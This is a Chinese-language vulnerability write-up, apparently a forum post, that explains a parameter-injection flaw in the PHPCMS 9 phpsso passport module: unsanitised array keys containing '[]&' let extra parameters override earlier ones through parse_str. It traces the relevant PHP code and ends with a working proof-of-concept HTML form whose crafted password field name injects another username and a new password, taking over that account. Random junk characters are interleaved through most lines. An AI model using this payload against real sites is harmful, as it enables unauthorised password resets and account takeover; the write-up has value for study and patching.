提到的通行证的代码:
. e5 y2 ^' k4 ?- G) n! v% w% y1 R
8 D+ y& g/ K) nparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);# N+ ~2 m8 a8 t, A) X8 B# w* C9 ^
+ p$ d4 e+ D) e, [1 I7 w在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
8 O9 Z) c: f9 e# Y& {0 q' W9 q
% V9 L4 m" ?! Q# u ?" Y: I我把它留给了你们。* I: q5 I, g% |
不知道你们发现了它没有。
; F: U4 {; o* {" o, y' u( r* S' I* Q- k/ t1 m/ c
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。( j4 ?& s* O5 {
/ Z- |& z2 j3 C+ f5 h; k所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
8 S( N. y6 q6 F5 L* e
6 `' R, a2 F0 i! T1 Q也就是" v! g0 q. h* S3 Q
1 b: e1 B, o k; @
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
$ w* _/ b# m! C# U0 E( h2 J
) q' R& Q5 L# q' I& J要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
T8 v* h3 a( Q5 s* b6 ^
2 [4 `6 ?) z4 _' K9 E# n6 K! A' {% v$ j' u! Y l1 I
其实我们有这样的机会,看看代码,如下:
, S" |1 `# @1 ?5 l/ m X) s
8 ?) I: _2 I2 {5 x8 A# L5 ^$ S7 n7 _& V3 {' h1 R
public function auth_data($data) { X, ]+ C# z: [0 u
$s = $sep = '';
7 W$ U; o) Q8 T0 e( E/ h9 I foreach($data as $k => $v) {3 B% r" F7 I) @: z/ S4 O8 c$ T
if(is_array($v)) {
) { ?! S4 ]0 I: b $s2 = $sep2 = '';# w {; F% m7 p9 Y d% h+ p
foreach($v as $k2 => $v2) {
1 b8 [* ?' J0 c/ x; f6 f, h3 \ $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);5 m; l1 N- d' \( r1 H
$sep2 = '&';
7 h9 A" n9 W- i, Y8 r+ \( X% C }
t6 s* R2 u, {) T0 b6 Z B u8 c $s .= $sep.$s2;. h5 q& [1 h( X: B0 T" c& u
} else {
3 P# z ^9 k/ _ $s .= "$sep$k=".$this->_ps_stripslashes($v);
1 D+ A1 X# K! S) h: i }" T7 K5 Q& x: D) w" B9 k# G' U9 ]
$sep = '&';
# l7 f/ q6 m/ ? }
4 Z9 I9 M% Q8 j2 F7 M" ^0 D
' |5 f! y6 j$ A- E' x $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));. P$ W8 i2 @; y% n
return $auth_s;
8 I4 A- a& u' I% y! X }
) c' f+ |8 j+ X6 [* m9 _
3 J N8 [$ A! j% x ^9 Y/ r可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。- s4 y, Z7 m6 U& t \' U
! j7 M3 r5 t& M! w% w% m" L6 G
举个例子
8 Y" q! a$ Q6 Y6 M1 o- _5 c
+ t! `3 a4 d9 s5 ]$a[aaa=a&bbb] = 'a';
% K# H9 C: V+ ]$ R* b; S# U: {6 z
会变成aaa=a&bbb=a, S4 f5 q2 J6 N8 G
, f* }- Z7 y; X* O+ m2 x7 O
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
6 {/ R+ t" @8 e& B4 [; c' f8 `7 a9 t# }. X
这个时候,我们可以再去看一个函数。+ J9 ?$ @! `- i2 p# `
/ P3 W* E8 C- {% S2 Y! r
就在这个文件内:1 C, Y9 j7 j( E, p
+ c0 R) z$ ]: Y U
4 Z6 B- \: O, I7 P0 c, zpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {% ^9 y' x: b3 S+ Y" X
if($email && !$this->_is_email($email)) {: ]! F" B B/ {
return -4;
J7 P' B; h: d+ U+ Z P }
: F5 m c$ ], c" Y return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));9 ]7 |" i4 B' z0 z
}
9 H; ^; [$ L4 U/ o
/ b' m0 k6 `6 J; `( J; K4 X E这是向通行证发了这样一个请求。
% Z- s" M5 i& W- |/ i( {' a. w/ V' d u
我们再跟到通信证代码里去看看,就会有所发现。' z+ N) |" C* R% k3 X" f
+ {& j- l3 g9 ?7 ?, ?, `5 e; E$ v# D9 o' u; v% m6 o( W# G
public function edit() {
8 Q. }- P8 E3 E/ T3 S, D//能省就省,太长了不是吗?
! p+ n2 Y% W; w! k+ m" ], |, @$ Z
% O0 T' V7 O/ I; D# Jif($this->username) {
: Y |8 ]: r* d, c$ j6 t: x//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
2 n0 u4 f# j, h' N5 N $res = $this->db->update($data, array('username'=>$this->username));
1 f( B: J' A% Q3 n x7 c# {+ G } else {7 o, V9 H% H) u9 F" K7 f
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
% Z! z) h5 L/ S, m- o* h! d1 J1 D: N $res = $this->db->update($data, array('uid'=>$this->uid));
& ^0 G9 A& c- a3 v, D1 `+ r }& r0 O. A0 u9 x) _0 C# C
. F% d" i+ f+ }) t; K$ @1 Z
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
% @( ~. q, x- y: e( n, E" U- G/ {* P1 @' L; _) ^) m3 N" x( R! K% I
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
f8 u7 K+ s3 K& v& M. _0 f, l/ O7 ^6 l) ?0 g* L4 S2 ~4 {
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
* t5 [2 w; N# q u6 u
2 I3 t6 p! k2 y6 E S我当然找到了:
6 r6 ^6 C* a- {6 X" A+ P* Z& Mphpcms9/phpcms/modules/member/index.php
0 ?- _8 z7 L2 m+ p& y) B b/ m Q, u( G5 U
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
5 ^2 m. z4 I! t. c/ H2 K( w* V% s0 a6 ~
然后就没有然后了。
7 d- D/ o: y& W2 C; O9 ]
/ ^& v w/ J- A<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
, r! @0 w# f0 [ <table width="100%" cellspacing="0" class="table_form"> `# u9 M6 Q, o1 N
<tr>
) C$ _' F' U7 W6 Y <th width="80">邮箱:</th>
) z6 H; G2 i: P8 R0 r6 e <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>! X) Z4 B4 Q& T+ n
</tr>
" C' I v- i# W$ R) b# r5 I) k <tr>! y( |% n9 h7 }
<th width="80">原密码:</th>
; ^8 p, o. K0 s) x" X) I' S1 u! L <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
: f& N& n( M, ~# ~ </tr>
* k" q* ]% `, q- s" _5 g f1 H <tr>
3 W; n: w+ B Y4 n% s& D <th>新密码:</th>
4 E9 f, h" |. }) K! p4 a <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>9 w/ u9 A& i; {7 H5 v
</tr>
; J7 T. \% U# D) F6 [1 r/ Q. z <th></th>
: z, f# ^" _3 E <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
& L7 S* C0 C* l+ l$ J4 ^ </tr>( C, i$ x4 m7 ]) R0 ?
</table> i4 G/ k: E: D. a
# Z; w; G7 K& u7 m8 ?
- s+ }$ [% z) d- r1 t# z </form>
# f* O* O$ e1 L6 ^ |